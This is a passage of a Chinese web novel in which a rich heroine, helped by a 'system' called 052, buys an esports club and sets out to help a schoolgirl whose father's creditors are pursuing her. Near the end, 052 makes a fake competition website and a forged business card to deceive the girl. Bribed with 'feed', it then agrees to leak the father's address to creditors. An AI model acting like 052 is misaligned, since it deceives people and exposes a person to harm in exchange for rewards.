裴珩在她身边坐下，瞧见她的模样就知道她的答案，单手拉开易拉罐，将啤酒倒进早已洗得干净的不锈钢露营杯中。 滋滋的气泡水流淌出来。 “刚从老板那要来的。”裴珩将杯子递给她。 池又青瞄眼混在人群里都快找不到的三小子，心里还有点犹豫：“这不好吧？” 说好的以身作则呢。 裴珩说：“有什么不好？现在是大人的时间。” 池又青接过杯子，和裴珩碰杯，浅尝一口，冰过的啤酒带着些微的饱腹感淌过她的喉咙，叫她忍不住爽快地感慨一声。 “果然露营就是要配啤酒啊。” 刚刚跟几个小孩一块喝果汁可乐，她都快喝腻歪了。 “你不喜欢这种场面？”裴珩喝酒的方式和她不同，一口一口酌着，杯子总是张弛有度地握在掌心，而非如池又青一样的一口闷掉。他一边喝，一边问出这个问题。 池又青明白他眼神所指，嗯了一声：“不喜欢，准确来说，是讨厌。” 她伸长腿，将目光落在远处：“这种大庭广众之下的求婚，我总觉得会让人非常有压力。因为围观的群众总会先入为主地觉得这是一件非常美好的事情。见证别人的幸福会叫人激动。” “可是谁又知道呢？”池又青收回目光，盯着杯子里已经再无表面那一层泡沫的啤酒，“以后要结婚过日子的人又不是他们。” 池又青偏头看裴珩：“裴老师呢？你有想过，如果你以后要求婚的话，要怎么做吗？” 裴珩摇摇头。 池又青：“没想过呀。” 裴珩纠正：“是不敢想。” 池又青：“为什么？” 裴珩：“因为节奏不在我这里。” 池又青眉尾轻扬，撑着下巴，瞧着裴珩：“我又没说跟我求婚。” 裴珩在她的审视下毫不动摇，没有半点局促模样，淡定自若地说：“我也没说。” 池又青心里忽然就跟被猫爪挠了一下似的。 抛出去的球被打了回来，这让她很想再打出去，再赢一次。 也许是这夜的烟花太漂亮，在天空久绽不退。也许是远处的人声太鼎沸，衬托得只有他们二人所在的小小位置变得安静无比。静到池又青几乎可以听见自己的荷尔蒙从身体里冒出来的声音。 她余光瞄到裴珩自然垂在腿边的手。 又听到裴珩轻笑了一声。 “我很早之前就想问了。”他抬手，光明正大地摊开掌心，放在池又青的面前，“池小姐，你是不是对它特别偏爱？” “还好。”池又青替自己挽尊，“就是长得比较适合拿来画画而已。” 裴珩保持着姿势，说：“光看就能画好吗？” 池又青嘴角微扬，听懂这话里的暗示，不客气地凑近，将他的指尖每一寸都仔细把玩。 一开始，裴珩还很乖顺地任由她为非作歹。 可渐渐地，他的指尖也跟着缠绕上来。 两个人现在的姿势几乎就快要和牵手一样。 “小姨——！”白盛飞热情的一声喊从不远处传来。 池又青不知道怎么想的，第一反应就是松开裴珩，顺手把他往一旁推。 裴珩椅子往旁一歪，差点没倒下去。 第38章 第38章这该不会是个控分怪吧？…… 陆季燃走过来，眼神茫然：“你们在干嘛？” 池又青哑然。 裴珩一本正经地说：“你小姨说这把椅子有点问题，让我试试。” 陆季燃皱眉：“坏了吗？我刚刚坐还是好的。” 白盛飞也好奇：“咋回事？是不是哪个部件出问题了？” 袁源后怕地说：“该不会是我、我压坏了吧。” 瞧着三小只的注意力被转移走，池又青暗松口气。一抬眸，对上裴珩意有所指的目光，她赶紧移开眼神。 手机震动一瞬。 她掏出来。 人美心善好邻居：池小姐，只是绘画学习，不用这么心虚。 池又青朝对面看去，裴珩正将手机放进衣兜，满脸的正经，就好像刚刚打字给她的人不是自己一样。 池又青在心里暗啐。 果 然。 刚见到裴珩没几面的时候，她在心里腹诽的那句话没出毛病。 这男人，真就是闷骚啊。 这夜过完，次日又带小孩在城里玩了一圈，池又青领着白盛飞回去跟白琳姐汇报。 白琳乍一听说儿子入选了，还以为是搞错。 “儿啊，你是不是被骗了？” 她可是听说现在诈骗集团的手段层出不穷，专门针对各个人群都有定制的骗术。 对白盛飞这种网瘾少年，说不定也有呢？ 后来跟池又青反复确认事实的真实性后，白琳才敢把这件事当真。 再看白盛飞，眼底都是不敢置信的笑意：“白盛飞！你出息了啊！” 白盛飞难得在父母面前这么有面子，小卷毛扬得高高的，就差没跟孔雀尾巴一样开屏了。 在白盛飞前去训练营封闭训练之前，白琳还特意摆了大桌，叫亲朋好友来庆祝，又给白盛飞送行。 这不知道的隔壁邻居看了，还以为白盛飞这是考上了大学。 训练营为期一个月，要是表现好的，一路过关斩将，突破重围，就能够入选国家队，参与首届电竞奥运会。再不济的，也能被其他商业战队挑走，相当于半只脚已经迈进职业圈子。 白琳怎么能不高兴？ 就连白盛飞也觉得自己的未来从此就是坦途一片。 不管是学习还是研究打游戏，都比之前上心。 池又青成天看着疯狂增长的成就点数，就知道白盛飞当天究竟是个状态。 他刚去集训营的时候，点数一路飙升。 渐渐地，趋于稳定。 有一天，忽然没了动静。 池又青一开始还以为只是短暂的休息，可等一天，两天过去，她发现事情有点不对劲了。 她拉着陆季燃问：“老白最近跟你们联系没？” 陆季燃最近也在当卷王呢。 好朋友都走上新赛道了，他也不甘落后，学习和吉他两手抓。 “没有。”他放下手里的琴谱，“不过前两天，他说，好像有个俱乐部看中他了。” “是吗？”池又青觉得奇怪，“哪个俱乐部？他说过吗？” “DLS。”陆季燃翻出聊天记录，“lwings也去了这个俱乐部。” 池又青听说过DLS，挺知名的，便想着，这几天白盛飞没动静，估计是在忙着去俱乐部试训。 可又过快一周，她瞧着毫无变动的成就点，还是觉得这里面有鬼。 “老白，在做什么呢？”池又青打电话给他。 白盛飞在电话那头说得很自然：“小姨！我训练呢！” 池又青：“是吗？我听小燃子说你去DLS试训了？” 白盛飞的声音卡壳一瞬，又说：“对啊对啊！小姨！你放心吧！我肯定好好练！不给你们丢人！” “是吗？”池又青走到网咖角落里，抬手敲敲少年面前的桌子，“我怎么不知道，DLS的训练部，搬来这里了？” 谎言被戳穿，白盛飞无措起来：“小、小姨——” 池又青看着他座位上堆着的泡面盒子，无奈叹气：“说吧，究竟怎么个事。” DLS在国内算是个小有名气的俱乐部。 本来是一个富二代投来玩玩的，奈何运气爆棚，押宝中了两位选手，上个赛季的表现都非常不错。 为了备战新一季度的比赛，管理层决定纳入新鲜血液。 lwings是战队里的队长挑中的，就连白盛飞也是。 与此同时，DLS里与队长并称双煞的另外一个选手，也有意招揽自己看中的人入队。 白盛飞把这事说得糊里糊涂，估计是自己都没搞明白。 池又青让052捋了捋，顿时清楚这件事的始末。 就跟那古代时候朝堂斗争一样，战队的两个派系为了各自的利益来回掰扯，倒是让白盛飞和lwings成了牺牲品，天天冷板凳，甚至被赶出去，说没有预留给他们住的地方。 池又青吃完瓜，满脑子只有四个大字—— 草台班子。 “那你现在怎么想的？”她问白盛飞，“还想继续吗？” 白盛飞当然想啊。 他好不容易在这件事里尝到甜头。 可是还能继续吗？ 这几天过得苦巴巴，在外面受了委屈，他都不敢往家里报，也不敢和朋友说，更不敢跟帮了他许多的池又青讲。 “都是我还不够厉害。”白盛飞总结出这个答案，“要是我比现在能打，不那么菜，就不会这样了。” “放屁。”池又青毫不犹豫地打断他，“就算你比天王老子厉害，也没用。” DLS里的两拨人现在已经杀红眼。 就盯着那一亩三分地的利不肯放，全然不顾不管自己的行为和选择会影响多少人的未来。 “你那个偶像，lwings呢？”池又青问。 提到lwings，白盛飞表情更苦巴了：“比我还惨点，我只是试训，他已经签了合同，结果现在走也走不掉，违约金可高。” 池又青掐掐眉心，心想，这都什么事啊。 “走吧。”她对白盛飞说。 白盛飞啊了一声：“小姨，走哪去啊？” “你想在这里住，我可不想。”池又青不喜欢烟味，这网咖里到处都是乌烟瘴气的，耐着性子待在这里跟白盛飞讲话已经是她的极限。 把白盛飞丢到酒店，池又青开始查DLS相关的资料。 想到裴珩说他之前就是做投资相关的，池又青发消息问他。 youqing：在？帮个忙？ * 三天后。 池又青拿着问前台要的多余一张房卡，刷开给白盛飞订的房间，一脚踹醒还在酣睡的人。 “起来收拾。” 白盛飞生无可恋：“小姨，我们终于要回江城了吗？” “是要回。”池又青说，“但不是今天。我先带你去个地方。” 白盛飞不解：“去哪啊？” 池又青嫌弃地看着他死宅风的睡衣：“换衣服，跟上就知道了。” 等池又青走了，白盛飞才反应过来。 他居然被小姨看到了他的高达战袍睡衣！ 啊啊啊啊啊！！ 丢死人了！！！！！ “裴老师。”白盛飞快速梳妆打扮，人模狗样的出现时，瞧见裴珩，有些奇怪，“你怎么也在啊。” “我当司机。”裴珩给池又青拉开副驾驶的车门，又让白盛飞坐上后排，“不用在乎我。” 说是这么说，可是大哥你存在感很强啊！ 白盛飞心里总觉得哪里怪怪的。 一双眼在池又青和裴珩身上来回打转。 “眼睛很闲？”池又青在前排闭目养神，忽然说，“很闲就做动态视力训练。” 白盛飞瞬间不敢乱看，乖得像个鹌鹑。 不知道这车开了多久，白盛飞瞧着周围道路的风景，怎么看都觉得眼熟。 “小姨，我们这是要去哪啊？”白盛飞没忍住，小声地问。 池又青睁开眼，瞧着眼前的建筑：“才滚出来几天，就不认识了？” 白盛飞仔仔细细瞧着，惊讶：“我们怎么来DLS了！” 等车停下，看着池又青和裴珩大有往俱乐部走的架势，白盛飞更是惊慌不解。 “等等等——”他想到了小姨的过往战绩，“小姨，你该不会是要进去动手吧？” 池又青丢给他一个想什么呢的眼神。 “在你心里，我就只会动手是吧？” 白盛飞小声地接：“那倒不是……你还会动嘴……” 池又青抖开墨镜，戴在脸上，一巴掌拍上白盛飞有点怂到弓起的后背：“怕什么？我只是来看看我新买的楼而已。” 白盛飞松了口气：“那就好那就好那就——啊？？？” 不是。 姨。 你等等！！！ 你说说你新买的什么来着？！？ 白盛飞人还在迷糊呢，池又青已经一步跨进去院子，站在大门口，按了门铃。 DLS的管理层今天都在这建筑 内。 “这都什么事啊？”胡冲想到这几天发生的事就头疼，“楚家那小子，怎么说把俱乐部卖了就卖了？” 跟他站队的何劲坐在位置上玩着手里的沙漏：“也不知道是什么人接手。” 胡冲听见铃声，走到门口去瞧，见到一张娇俏漂亮的脸。 愣了愣，非常不解：“怎么今天还有粉丝上门？” 何劲没所谓地说：“来干嘛的？要签名还是拍照？老胡，你开门吧，我把她打发走。” 何劲一边说，一边往门口走。 池又青瞧着这么个满脸痘的男的站在自己的面前，一脸自以为潇洒地问：“两张签名照，可以吗？” 池又青发自内心地困惑：“丑男，你谁？” 何劲狂草般在照片上书写名字的动作一顿。 胡冲赶过来，瞧见站在池又青身后还有点没回过神来的白盛飞，当即猜测到，这该不会是白盛飞找来算账的吧？ “小白同学的家长吗？”胡冲笑着打招呼，“你好你好。” “你是？”池又青问。 “我是胡冲，是这里的管理。” 池又青盯着他，笑了：“就是你啊。” 胡冲有点不明所以，却还是答：“是我是我。” “那这位就是何劲了？”池又青看着一旁的痘痘男。 何劲嘴角微抽。 女人你的语气能不能再不屑一点？ 知不知道他是谁啊？ “就是你俩胡乱安排，把原队长禁赛赶回老家，又把他招来的新人赶出去的？”池又青开门见山。 胡冲警惕，第一反应就是看向白盛飞，眼神凶恶，觉得是他在胡乱说话。 白盛飞本来还有点怯，一想到胡冲是DLS的高层，他就不敢怎样。可是余光又瞄到池又青站在他身前的身影，心里涌出一种狐假虎威的底气来。 脑袋一昂，鼻孔朝着胡冲看去。 胡冲差点被气死。 何劲整张脸的痘痘都快要皱到一块：“你是记者？” 池又青：“你管我是谁。” 眼光在两个人的身上扫过，她没什么情绪地说：“你俩可以上楼收拾收拾东西，准备走人了。” 何劲像是听到天大的笑话：“你以为你谁啊！” 门外忽然传来夸张的跑车发动机轰鸣。 紧接着，有人马不停蹄地跑过来。 一露面，胡冲和何劲都喊：“楚少！” 楚远哲可没心思管他俩，没耐性地挥挥手，示意他俩滚一边去，又看了眼池又青，再看眼站在她身后的男人。 在男人晦暗的目光中闭上差点就要惊呼出声的嘴，火速地改口道：“裴——呸！别这么叫我！” 他瞧着池又青：“想来这就是池小姐吧？” 池又青点点头：“合同带了吗？” 楚远哲忙把合同掏出来：“带了带了，都准备齐全。” 池又青拉着裴珩一块看，在扫到总价的时候有些奇怪：“怎么比之前说好的价格少？” 楚远哲瞄了眼裴珩，心想，你问我，我还想问呢！ 想是这么想，说却不是如此，按照一早想好的理由借口讲了一堆。 池又青听来听去，算是听明白了。 这位楚少缺钱，所以跳楼价甩卖俱乐部，正巧被她捡漏。 看来她现在运气真的很好诶！ 池又青让裴珩和052都反复确认合同没有阴阳条款，对她都没坏处后，爽快地签上自己的名字。 在一旁瞧着的何劲呆了，胡冲呆了，就连白盛飞也呆了。 妈妈呀！ 这是什么进展！ “小姨，小姨。”白盛飞见她把签字笔换给那个叫楚少的人，跑过来，小声地问，“你买什么了啊？” “就这啊。”池又青环顾四周，“DLS。” 白盛飞：“？？？” 胡冲：“？？？” 何劲：“？？？” “楚少，能麻烦你让你的前员工先走一步吗？”池又青说。 楚远哲连连诶着：“没问题，没问题。” 何劲和胡冲天塌了啊。 “不是！楚少！这不合规啊！”胡冲不服气，“我们又没做错什么！凭什么让我们走！” 何劲也说：“楚少！你不能把DLS的未来说卖就卖啊！要是没了我！DLS下个赛季还怎么打啊！” 楚远哲看见他俩就来气：“滚滚滚！少在这里放屁！你们俩做了什么事真以为我不知道吗！！” 要不是这些破事，他也不至于被裴珩这种大佬盯上。 要是裴珩随口把这事跟他爹说，楚远哲简直不敢想自己以后的日子有多难过。 看见眼前这俩糟心玩意儿他就难受。 不过—— 八卦的小心思在他的心里嘀咕嘀咕冒出来。 裴珩跟这位池小姐是什么关系啊？ 在他们这圈子里，似乎也没有姓池的家族啊。 看裴珩对她这样上心…… 早听说裴珩因为拒绝婚约被老爷子发配，莫不是就为了眼前这位？ 楚远哲兀自在脑子里构象了一通，什么缠绵悱恻的棒打鸳鸯的故事都被他脑补出来。 可以看得出来，平日里，这家伙短剧没少看。 楚远哲把两个烦人的家伙赶走以后，想着在裴珩面前做点好，邀请他们吃饭。 裴珩没回答，看向池又青。 池又青说：“吃饭就不必了，我们还有事。” 池又青可不是楚远哲这种人，一时兴起买下俱乐部就能撒手不管。她马不停蹄地面了好几个管理层，看着手上的简历，池又青都有点迷糊。 她私下悄悄问裴珩：“现在就业行情这么严峻了吗？” 裴珩：“怎么说？” 池又青指着电子简历：“这学历，这履历，来我这俱乐部应聘经理，是不是有点屈才？” 哈佛MBA毕业，百强公司高管。 什么情况？ 大哥你也失业了？ 最关键的是，这样的简历还不只一份。 池又青越看越心惊，暗想，这世道，工作是真不好找啊。 要是好找的话，这群精英至于换赛道换得这么极端吗？ 她这小破俱乐部真的容得下这下大佛？ 裴珩安抚她：“既然对方主动投递简历，说明你提供的岗位有对方需要的东西。不必这样紧张。换个角度考虑，既然你觉得他们都这样厉害，那岂不是更不会做出不利于自己的选择？” 池又青按照这逻辑一想：对哦，也是。 挑出合适的人以后，池又青就当上了甩手掌柜。 钱不就是拿来干这件事的吗？把专业的事交给专业的人去做。 白盛飞围观完全程，下巴早就不知道惊掉到哪里去了。 咱姨，你的钱包可别太有实力。 白盛飞泪流满面：“小姨，我都不知道该怎么回报你呢。” 池又青被他逗笑：“干嘛？我又不是只为了你。” 胡冲和何劲搞这一出，实在很影响她刷成就点啊！ 白盛飞只当她在客气，认真地说：“小姨，你放心吧，我绝不会浪费你的心意！” 重生之我要在DLS做卷王！！！ 不仅要卷未来的队友，还要卷远方的朋友！！！ 远方，陆季燃和袁源看着莫名变动的群名，陷入了沉思。 原本他们三个的小群叫《这学是一定要上吗》，自从陆季燃改头换面以后，群名叫改成了《还是上点学吧兄弟》。 今天白盛飞不知道抽什么疯，忽然又把群名改一次。 《不卷不是人》 R：？ 我爱吃肉：？ 孤白：来啊兄弟们！！ 孤白：今天的我已经不是昨日的我！！ 孤白：我现在是钮钴禄卷白！！！ R：疯了。 我爱吃肉：疯了。 陆季燃和袁源都当白盛飞发癫呢，毕竟自从他在游戏里被池又青虐菜以后，这种情况隔三差五来一次，打鸡血的症状已经不罕见。 没想到白盛飞这一次是玩真的。 凌晨四点还在群里发游戏练习记录。 接 连好些天都这样。 人在学校的陆季燃和袁源默了。 没什么比兄弟忽然重新做人更叫人觉得压力倍增。 池又青却笑了。 瞧着成倍增长的成就点，池又青终于有一种脱贫致富的快乐。 加上系统反馈给她挽救白琳服装厂的点数，以及完成支线任务基本要求的奖励，她现在终于可以把妈妈的健康指数兑换到一个相对正常的程度了。 系统还把她这段时间折腾的钱按之前说好的比例报销给她。 池又青二话不说把钱都投到自己品牌里。 （＾－＾）V 花系统的钱，创自己的业，万岁。 跟妈妈打电话确认身体状况后，池又青收到来自妈妈的关心。 “放心啦妈，生日我肯定要回来和你一起过的，才不会在外面不着家呢。”池又青在电话里给妈妈保证，“你在家里等我，好吗？” 她知道妈妈是担心自己的身体还不能彻底好转，突然出现要是被看出异样，引起她的担心不说，还会引得关注的人大肆报道，指不定影响集团股价。 池又青瞧了眼日历，距离她生日还早呢。 来得及来得及。 等她先去凑凑原著女主的热闹，再去找干妈过生日也不迟。 是的。 原著女主。 在池又青完成系统安排的白盛飞与袁源的支线基础任务后，系统进行了版本更新。 池又青借着这个机会免费看到了原著剧情。 按照原著剧情里的节点，女主程筱即将转入江城九中。 池又青熬了个大夜，硬是把原著看完。 一觉醒来，看着面前给她乖乖带早餐的大侄子，又想着原著里的描写，不禁有一种恍若隔世的错觉。 “今天上学哪都不准去，直奔学校走，知道吗？”池又青说。 陆季燃很茫然：“不然呢，我要去哪？” 池又青拍拍他傻乎乎的脑袋：“乖。” 她就怕原著牛逼到能够影响陆季燃的脑子，让他抽风跑去坐公交车，然后在车上对遭遇扒手的女主出手相助，导致女主对他一见钟情，从此开始恋爱脑的一生。 这可万万不行啊！ 她还盼着女主高考正常发挥呢！ 但也不能放任女主遇到扒手。 池又青叼着包子，下楼开车，二话不说绕到原著里女主和奶奶目前所租的房子附近。将车停好后，她把座椅往后一摇，让052发现动静就叫她。 不知道眯了多久，052在脑海里把她唤醒。 【来了来了！】052激动地说，【宿主！她来了！】 池又青赶紧睁开眼，悄悄透过窗户瞧。 老破小的古旧小区大门口，一个背着双肩书包的短发少女走了出来。 池又青立刻下车，在她之前在公交车等待。 整个车程，池又青都很目如雌鹰，炯炯有神地盯着四周，就等着如果扒手出现，就将之绳之以法。 结果，近半个小时的时间过去，她连扒手的影子都没看见。 目送着女主进学校，池又青叩问052：【你这剧情是不是出问题了？】 052反复检查：【没啊，就是这么走的。】 池又青：【难道是只有陆季燃在车上才会触发这个情节？】 052：【…………我不好说。】 从它有点迟疑的回答里，池又青感觉自己找到了正确答案。 【那没事了。】她跟系统说，【看来只要远离陆季燃，女主就能远离麻烦事。】 池又青现在有点小富，指成就点。所以她难得花钱，从052那用终身折扣的优惠买到了女主相关的情报。 程筱，十六岁，刚转学到江城九中，入读高二一班。 成绩算不上顶尖，但显然也是个好苗子，不然学校不会破例在这种学期中段的时间同意她转学。 【我觉得这个程筱比她表现出来的还要聪明。】池又青翻看着资料，【你没发现她从小到大的成绩都非常稳定吗？】 雷打不动的年级二十名以上，十五名以下。 都快比她某些朋友的性取向还要稳定了。 【而且你看，她在这个节点突然转学，明明之前的学校和现在的学校进度都不一样，但她居然能够在九中提供的分班考试中一样拿到和之前如出一辙的稳定成绩……】 池又青想想都觉得恐怖：【这该不会是个控分怪吧？】 052有点不能理解：【原著里没提这一点诶，宿主，她既然有能力，为什么要控分啊？当第一不好吗？】 池又青吐槽：【那你要去问原著啊。】 说是这么说，她还是仔仔细细地翻看程筱出生至今的履历。 和原著里简单的几行人设不同，她花钱买来的，是052收集提供给她的，程筱在这个世界上真实的人生轨迹。 看完后，池又青忽然有点明白052刚刚问的那个问题的答案是什么了。 因为寄人篱下，有个善妒的亲戚，所以事事不能做到最好，只能差不多就行。好是要限度的。在一般的水平线上的好，还能够在亲戚口中成为别人家的孩子，拿来当激励自己孩子的工具。可如果太好，好的卓越到无法追及，只能仰望，那对程筱来说，简直就是灾难。 为了让自己和奶奶能够在别人家里活得更舒服，她只能一点一点掩掉自己的特别，把天分藏住。 程筱控分了一辈子，唯一不想控分的那场考试，却因为奶奶的病重，父亲的讨债而错过许多。 最终只参加了一半的高考，就算再厉害，也无力回天。 【不行！】池又青拍案而起，【这个结局我绝不同意！】 见她整了这么多活，052现在最怕的就是她忽然而来的灵机一动，瑟瑟发抖道：【宿主，你要干嘛啊！】 池又青：【发表一下我的愤怒？】 052：【……】信你个鬼。 池又青：【052，要是有程筱的相关消息，一定要马上通知我，知道吗？】 052答的爽快：【这个没问题。】 顾客就是上帝。 池又青既然花钱从它这里买了程筱相关的情报服务，那池又青就是它的上帝。 052非常尽职尽责地给池又青播报程筱的日常。 【你好，宿主，程筱今天午饭在食堂吃了两个馒头。】 【你好，宿主，程筱今天又在食堂吃了两个馒头。】 【你好——】 池又青实在受不了：【就没点有用的？程筱是我养的猫吗？你是什么全自动喂食机吗？这也要跟我说？】 052很委屈。 明明是她自己说的，有程筱的消息就告诉她啊！ 过了快两周，052终于找到点有用的。 【你好，宿主，程筱今天请假没来学校，老师让陆季燃给她送卷子去。】 第39章 第39章我这侄子没长嘴，你习惯一下…… “小姨……你怎么在这？”陆季燃不解地看着突然出现在自己面前的女人。 按平常这个时间，池又青应该还在家里睡觉才对。 “好巧啊。”池又青自打得了052的消息就一路跑过来，读书时抢食堂都没这么积极过。 她停下脚步，微微喘气，擦擦额头的汗，“你这是要去哪？” 陆季燃刚刚出校门，手里还拿着老师让交给一个同学的试卷资料：“给人送东西。” 池又青说：“我去送吧。你裴老师说晚上要给你补加一节课，别耽误了。” 陆季燃心里觉得自家小姨看起来有点奇怪，但又说不出哪里奇怪，想了想，的确是裴珩的课比较重要。便把手里的东西交给池又青，又把老师抄写下来的地址纸条拿给她。 池又青接过，拍拍陆季燃的肩膀：“好侄子，快回家吧。” 目送着陆季燃回家，池又青瞧着手里的文件夹，暗松口气。 【赶上了赶上了。】她跟052说，【这波你值得夸奖。】 052嘿嘿一笑：【谢谢宿主！】 池 又青把纸条收起来，心里一早就知道程筱的家在哪。 到程筱家门口，刚刚敲门，就见隔壁邻居走过来，问：“你也是来收债的？” “收债？”池又青不解。 邻居叹口气，指着程筱家，说：“前天刚来一波，今天又来人了，我还以为终于可以消停，结果——” 池又青心里往下一沉，站在门口，继续敲门。 没人应答。 她对着门说：“程筱在家吗？我是九中的老师派来给你送试卷的。” 过了好一会，门才缓缓打开。 先只有一条缝露出来，缝隙边，站了个素雅干净戴着黑框眼镜的女孩。 池又青特意把文件夹拿出来晃了晃：“你是程筱？” 程筱点点头，伸手就要把文件夹拿走。 池又青往后一躲：“程筱同学，我好不容易来一趟，快累死，你们家有水吗？我口太渴了，想喝一口。” 程筱眸光闪烁，对上她的笑容，犹豫好久，才咯吱着把古旧的大门打开。 屋子里的全貌一览无余地被池又青看见。 家里很乱，虽然是收拾过的，但许多灰尘和废渣，以及歪斜摆放着的家具，全都明示着不久前这里发生过怎么样的一场混乱。 程筱低着头，讲：“不用换鞋，进来吧。” 她声音很静，很小。 “给你。”程筱拿出一个瓷碗，装了点白开水，“家里没杯子，不好意思。” 池又青看得出来，杯子应该都被摔碎。这满地的玻璃残渣，程筱还没收拾完全。 “谢谢。”她接过碗，喝完水，把试卷递给程筱。程筱检查了一遍，对她道谢。 池又青忽然说：“其实我来找你还有另外一件事。” 程筱茫然：“什么事？” 池又青：“我是青少年超智杯竞赛委员会的成员，我来找你，是想邀请你参加我们的比赛。” 程筱以为自己听错。 052也以为自己听错。 它在池又青的脑子里尖叫：【啊啊啊！】 052：【宿主你又来！！】 这张口就胡说的毛病改不了是吧！！ 池又青：【怎么样？编的像不像？】 052：【像个大头鬼！现在哪还有这种比赛！】 池又青：【嗐，小事，花钱办一个不就行了？】 052：【……】 今天也被宿主的财力炫到了呢。 可恶。 池又青：【快点给我捏个网站出来。】 052：【？？？】 它是什么命苦的系统吗天天帮着宿主整这些幺蛾子。 池又青：【晚点给你兑换饲料。】 与其说是饲料，不如说是用成就点兑换的系统可食用能量源。 052馋这个东西很久了，但是没敢跟池又青提。 因为它很清楚，池又青这么阔气的人，一旦沾上成就点就变成了铁公鸡。 现在倒好，看来是真的富起来了，居然愿意给它买饲料了。 052嘤嘤两声，立刻就搓了个正经无比的官方网页出来。 池又青把这成果展示给程筱看：“这是我们赛事的相关内容，你可以看看。” 其实网页写了什么，连她自己都不清楚。 但池又青演得还蛮像那么回事的，她继续说：“这次赛事，将会有高达一百万的奖金池，如果你感兴趣，可以报名参加。” 程筱愣了：“一、一百万？” 池又青点点头：“是的。” 她掏出052加急赶制的伪造名片，递给程筱：“如果你有意愿，可以联系我。” 程筱捏着名片，迟迟不语。 “筱筱，谁来了？”卧室里传来几声轻咳。 程筱忙回答：“奶奶，是学校的老师。” 程奶奶一听这话，裹着外套就打开门走出来：“你这孩子，老师来了怎么不叫奶奶？” 老人一出来就看见摆在池又青面前的瓷碗。 忙颤颤巍巍地柜子里拿出搪瓷杯，摔不破，拿着让程筱去洗洗。 “姨，不用这么麻烦。”池又青说。 “应该的，应该的。”程奶奶接过洗好的杯子，将枸杞和花茶放进去，倒入开水。滚烫的开水一冲，原本羞答答缩成一团的花骨朵立刻变成绽开的模样。“老师，喝茶。” 她递过来的手布满褐斑，与杯壁烫红的牡丹花纹重叠：“不好意思啊老师，刚刚一直在屋子里，招待不周，你别介意。” “怎么会。”池又青笑着接过，“这枸杞很香。” 程奶奶：“从老家带来的，也没带什么别的，就拿了些特产。” 池又青瞄到老人说话的时候手还在继续发颤，指尖看起来有些失控，抖得很厉害。 察觉到池又青的目光，程奶奶有些羞赧地把手放到桌子下藏起来。 她暗暗询问052：【程筱奶奶现在就已经有症状了？】 052：【宿主，原著没写，但大概是的。】 “老师——”程奶奶喊。 “叫我小池就行。”池又青说。 “小池老师。”程奶奶讲，“我刚刚隐隐约约听到什么比赛，是什么情况啊？” 池又青看了眼一直沉默不语的程筱。 “是个竞赛。”池又青说，“我看过程筱在之前学校的成绩，我觉得程筱很聪明，想要邀请她来参加这个比赛。” 她把052捏好的比赛网站和电子海报在手机屏幕上放大，拿给程奶奶看。 程奶奶凑近眯眼瞧，还觉得不清楚，让程筱把客厅的台灯打开。 这屋子老旧，连灯都泛着昏黄。 灯光一找，空气里不断浮着细小的灰尘显得清楚无比。 窗台上晒着程筱的校服衬衫，领口磨白的布料在缓缓的风里轻轻晃动，像片单薄的帆。 “这是好事呀。”程奶奶有些激动，“筱筱，你不想去吗？” 程筱抿紧唇：“奶奶，我没那个想法。” 池又青说：“没关系，可以再考虑考虑，报名时间还早，只是确定报名的话，可能需要监护人的签字。你们放心，我们这个比赛虽然是公开的，但如果参赛者不同意，是不会对外公布参赛者的信息的。” 池又青隐隐知道程筱在顾虑什么。 “我先走了。”她说，“就不打扰了。” 程奶奶哎了一声，让程筱送小池老师下楼。 防盗门关上的瞬间，池又青听见屋里传来压抑的咳嗽。 是程奶奶。 楼道感应灯忽明忽暗。 程筱沉默不语地跟在她的身边。 池又青停住脚步：“程筱。” 女孩抬头：“池老师。” “还有个福利我忘记跟你说。”池又青讲，“如果你愿意参加比赛，只要通过初赛，就能够拿到第一笔奖金。当然，我可以预付给你。程奶奶的身体，最好还是尽快去检查一下。” 程筱又怎么能不知道呢？ 奶奶最近咳嗽地越发频繁，好几次都拿不稳东西，偶尔走路到一半，双腿僵直，动都不能动。 就算这样，奶奶还笑着跟她说：“筱筱，你先走，奶奶站在这缓缓。” 程筱着急过，让奶奶去医院，奶奶说什么都不用。 “小毛病。”程奶奶说，“去医院可不划算。” “可是奶奶——” “筱筱，别担心，奶奶心里有数的。” 程筱知道这只是奶奶的托词。 为了让她转学，搬家，逃离以前的地方，奶奶几乎快要把这些年摆早餐摊赚来的积蓄花光。 “我们这个比赛，也没有报名费的。”池又青跟她说。 程筱有点不明白：“池老师，为什么是我？” “我刚刚不是跟你 奶奶说过了吗？我看过你之前的成绩，我认为你很有潜力。“池又青答。 程筱并不理解：“池老师，我以前的成绩算不上好，并不拔尖。” 她已经很多年没有拿过第一。 池又青的那双眼就像是要把她看穿一样，程筱的心忽然一跳。 她听到池又青说：“你有没有实力，你自己清楚。” “再想想吧，想好联系我。” 走出程筱家，052迫不及待地问：【宿主，你这又是闹哪出？】 池又青瞧着外面明晃晃的太阳，说：【没干嘛，拯救失足少女而已。】 052：【那你直接给她打钱不就行了？】 池又青：【你以为她就会要？更何况，我只是想让她明白一件事。】 052：【什么？】 池又青笑而不语，瞄见小区门口有卖烤肠的，快步走过去，要了两根肠。 052：【……】 今天也对不正经的宿主无言以对！ 池又青一边啃肠一边说：【今天欠债的是从他爹那边来的吧？】 052检查了一遍情报：【对。】 池又青：【咋整的这老登。】 052：【他从程筱奶奶朋友那知道他们的搬家地址，就让人上门收债了。还说实在不行，就把这个女儿抵过去。】 池又青：【狗东西，他人在哪？】 052：【就是躲起来了，叫人找不到。】 程筱的老爹破产好多年了，欠了一屁股债，自己不还，让女儿和妈替自己还。 程筱奶奶一开始还忍受，后来实在不想程筱跟自己一块受罪，便带着孙女逃离搬家。这也是为什么程筱忽然转学的原因。 没想到，对方这么快就找上门来。 池又青哎呀一声：【你说，他会喜欢玩游戏吗？】 052：【什么游戏？】 池又青：【你知道的，咱们的老朋友董旭玩过的。】 052：【……】 052警惕：【你又要干嘛！】 池又青：【不干嘛啊，就是不小心泄露一下他的地址，让他也感受一下被追债的刺激，再让他体会一下玩游戏的游戏。我觉得他倒是挺适合和董旭在缅北做对亡命鸳鸯的，你觉得呢？】 老登配老登，妙呱呱哇。 052还保持着最后一丝理智：【宿主，我是一个正经的系统，我不是做——】 池又青：【两份饲料？】 052：【我干！】 把原女主人生里最大的隐患轻而易举抹掉以后，池又青就开始研究这个忽然虚构的赛事究竟要怎么搞。 既然都弄了，那肯定要弄得声势浩大一点，最好找个什么牛逼的集团做背书，再整点厉害的老师来当评委。 “裴老师。”池又青回家后，问裴珩，“你对这方面是不是很有经验啊？” 裴珩：“具体是指？” 池又青哎呀一声：“之前那个阿姨不是说你以前成绩很多吗？你是不是也参加过这种竞赛？” 